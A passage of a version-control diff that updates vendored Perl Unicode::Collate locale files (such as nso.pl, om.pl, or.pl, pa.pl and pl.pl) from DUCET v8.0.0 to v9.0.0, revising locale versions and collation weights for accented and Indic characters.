-00D6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE
-00E5      ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F13.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-0061 0061 ; [.1F13.0021.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
-0041 0061 ; [.1F13.0021.0007] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
-0041 0041 ; [.1F13.0021.0008] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E6      ; [.1F96.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E4      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+0119      ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F8      ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+00F6      ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE
+00E5      ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F98.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+0061 0061 ; [.1F98.0021.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
+0041 0061 ; [.1F98.0021.0007] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
+0041 0041 ; [.1F98.0021.0008] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nso.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nso.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nso.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,37 +1,37 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00EA      ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC1      ; [.1C26.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C26.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EBF      ; [.1C26.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C26.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EC5      ; [.1C26.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C26.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C26.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C26.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C26.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C26.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-00F4      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
-00D4      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
-1ED3      ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED2      ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
-1ED1      ; [.1D59.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED0      ; [.1D59.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
-1ED7      ; [.1D59.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED6      ; [.1D59.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
-1ED5      ; [.1D59.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED4      ; [.1D59.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
-1ED9      ; [.1D59.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1D59.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00EA      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC1      ; [.1CAB.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAB.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EBF      ; [.1CAB.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAB.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EC5      ; [.1CAB.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAB.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAB.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAB.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAB.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAB.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+00F4      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED3      ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2      ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED1      ; [.1DDE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0      ; [.1DDE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED7      ; [.1DDE.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6      ; [.1DDE.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5      ; [.1DDE.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4      ; [.1DDE.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED9      ; [.1DDE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1DDE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/om.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/om.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/om.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,22 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0063 0068 ; [.1E9D.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0043 0068 ; [.1E9D.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1E9D.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-0064 0068 ; [.1E9E.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER H>
-0044 0068 ; [.1E9E.0020.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER H>
-0044 0048 ; [.1E9E.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER H>
-006B 0068 ; [.1E9F.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER H>
-004B 0068 ; [.1E9F.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER H>
-004B 0048 ; [.1E9F.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER H>
-006E 0079 ; [.1EA0.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
-004E 0079 ; [.1EA0.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
-004E 0059 ; [.1EA0.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
-0070 0068 ; [.1EA1.0020.0002] # <LATIN SMALL LETTER P, LATIN SMALL LETTER H>
-0050 0068 ; [.1EA1.0020.0007] # <LATIN CAPITAL LETTER P, LATIN SMALL LETTER H>
-0050 0048 ; [.1EA1.0020.0008] # <LATIN CAPITAL LETTER P, LATIN CAPITAL LETTER H>
-0073 0068 ; [.1EA2.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
-0053 0068 ; [.1EA2.0020.0007] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0063 0068 ; [.1F22.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0043 0068 ; [.1F22.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1F22.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+0064 0068 ; [.1F23.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER H>
+0044 0068 ; [.1F23.0020.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER H>
+0044 0048 ; [.1F23.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER H>
+006B 0068 ; [.1F24.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER H>
+004B 0068 ; [.1F24.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER H>
+004B 0048 ; [.1F24.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER H>
+006E 0079 ; [.1F25.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
+004E 0079 ; [.1F25.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
+004E 0059 ; [.1F25.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
+0070 0068 ; [.1F26.0020.0002] # <LATIN SMALL LETTER P, LATIN SMALL LETTER H>
+0050 0068 ; [.1F26.0020.0007] # <LATIN CAPITAL LETTER P, LATIN SMALL LETTER H>
+0050 0048 ; [.1F26.0020.0008] # <LATIN CAPITAL LETTER P, LATIN CAPITAL LETTER H>
+0073 0068 ; [.1F27.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
+0053 0068 ; [.1F27.0020.0007] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/or.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/or.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/or.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,12 +1,12 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0B01      ; [.26FE.0020.0002][.FFF1.0000.0000] # ORIYA SIGN CANDRABINDU
-0B02      ; [.26FE.0020.0002][.FFF2.0000.0000] # ORIYA SIGN ANUSVARA
-0B03      ; [.26FE.0020.0002][.FFF3.0000.0000] # ORIYA SIGN VISARGA
-0B14      ; [.26FE.0020.0002][.FFF0.0000.0000] # ORIYA LETTER AU
-0B15 0B4D 0B37 ; [.2722.0020.0002][.FFF1.0000.0000] # <ORIYA LETTER KA, ORIYA SIGN VIRAMA, ORIYA LETTER SSA>
-0B39      ; [.2722.0020.0002][.FFF0.0000.0000] # ORIYA LETTER HA
-0B5F      ; [.2718.0021.0002] # ORIYA LETTER YYA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0B01      ; [.278B.0020.0002][.FFF1.0000.0000] # ORIYA SIGN CANDRABINDU
+0B02      ; [.278B.0020.0002][.FFF2.0000.0000] # ORIYA SIGN ANUSVARA
+0B03      ; [.278B.0020.0002][.FFF3.0000.0000] # ORIYA SIGN VISARGA
+0B14      ; [.278B.0020.0002][.FFF0.0000.0000] # ORIYA LETTER AU
+0B15 0B4D 0B37 ; [.27AF.0020.0002][.FFF1.0000.0000] # <ORIYA LETTER KA, ORIYA SIGN VIRAMA, ORIYA LETTER SSA>
+0B39      ; [.27AF.0020.0002][.FFF0.0000.0000] # ORIYA LETTER HA
+0B5F      ; [.27A5.0021.0002] # ORIYA LETTER YYA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pa.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pa.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pa.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,27 +1,27 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0A71      ; [.0000.00BE.0002] # GURMUKHI ADDAK
-0A03      ; [.0000.00BD.0002] # GURMUKHI SIGN VISARGA
-0A70      ; [.0000.00BF.0002] # GURMUKHI TIPPI
-0A02      ; [.0000.00C0.0002] # GURMUKHI SIGN BINDI
-0A01      ; [.0000.00C1.0002] # GURMUKHI SIGN ADAK BINDI
-0A3C      ; [.0000.00C2.0002] # GURMUKHI SIGN NUKTA
-0A33      ; [.269F.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER LLA
-0A36      ; [.2680.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER SHA
-0A59      ; [.2684.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER KHHA
-0A5A      ; [.2685.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER GHHA
-0A5B      ; [.268A.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER ZA
-0A5E      ; [.2698.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER FA
-0A4D      ; [.26A2.0020.0002] # GURMUKHI SIGN VIRAMA
-0A3E      ; [.26A3.0020.0002] # GURMUKHI VOWEL SIGN AA
-0A3F      ; [.26A4.0020.0002] # GURMUKHI VOWEL SIGN I
-0A40      ; [.26A5.0020.0002] # GURMUKHI VOWEL SIGN II
-0A41      ; [.26A6.0020.0002] # GURMUKHI VOWEL SIGN U
-0A42      ; [.26A7.0020.0002] # GURMUKHI VOWEL SIGN UU
-0A47      ; [.26A8.0020.0002] # GURMUKHI VOWEL SIGN EE
-0A48      ; [.26A9.0020.0002] # GURMUKHI VOWEL SIGN AI
-0A4B      ; [.26AA.0020.0002] # GURMUKHI VOWEL SIGN OO
-0A4C      ; [.26AB.0020.0002] # GURMUKHI VOWEL SIGN AU
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0A71      ; [.0000.00C3.0002] # GURMUKHI ADDAK
+0A03      ; [.0000.00C2.0002] # GURMUKHI SIGN VISARGA
+0A70      ; [.0000.00C4.0002] # GURMUKHI TIPPI
+0A02      ; [.0000.00C5.0002] # GURMUKHI SIGN BINDI
+0A01      ; [.0000.00C6.0002] # GURMUKHI SIGN ADAK BINDI
+0A3C      ; [.0000.00C7.0002] # GURMUKHI SIGN NUKTA
+0A33      ; [.272C.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER LLA
+0A36      ; [.270D.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER SHA
+0A59      ; [.2711.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER KHHA
+0A5A      ; [.2712.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER GHHA
+0A5B      ; [.2717.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER ZA
+0A5E      ; [.2725.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER FA
+0A4D      ; [.272F.0020.0002] # GURMUKHI SIGN VIRAMA
+0A3E      ; [.2730.0020.0002] # GURMUKHI VOWEL SIGN AA
+0A3F      ; [.2731.0020.0002] # GURMUKHI VOWEL SIGN I
+0A40      ; [.2732.0020.0002] # GURMUKHI VOWEL SIGN II
+0A41      ; [.2733.0020.0002] # GURMUKHI VOWEL SIGN U
+0A42      ; [.2734.0020.0002] # GURMUKHI VOWEL SIGN UU
+0A47      ; [.2735.0020.0002] # GURMUKHI VOWEL SIGN EE
+0A48      ; [.2736.0020.0002] # GURMUKHI VOWEL SIGN AI
+0A4B      ; [.2737.0020.0002] # GURMUKHI VOWEL SIGN OO
+0A4C      ; [.2738.0020.0002] # GURMUKHI VOWEL SIGN AU
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pl.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pl.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/pl.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,51 +1,51 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0105      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH OGONEK
-0061 0328 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH OGONEK
-0104      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK
-0041 0328 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK
-0107      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
-0063 0301 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
-0063 0341 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
-0106      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
-0043 0301 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
-0043 0341 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
-0119      ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0142      ; [.1CF3.0020.0002] # LATIN SMALL LETTER L WITH STROKE
-006C 0335 ; [.1CF3.0020.0002] # LATIN SMALL LETTER L WITH STROKE
-0141      ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
-004C 0335 ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
-0144      ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
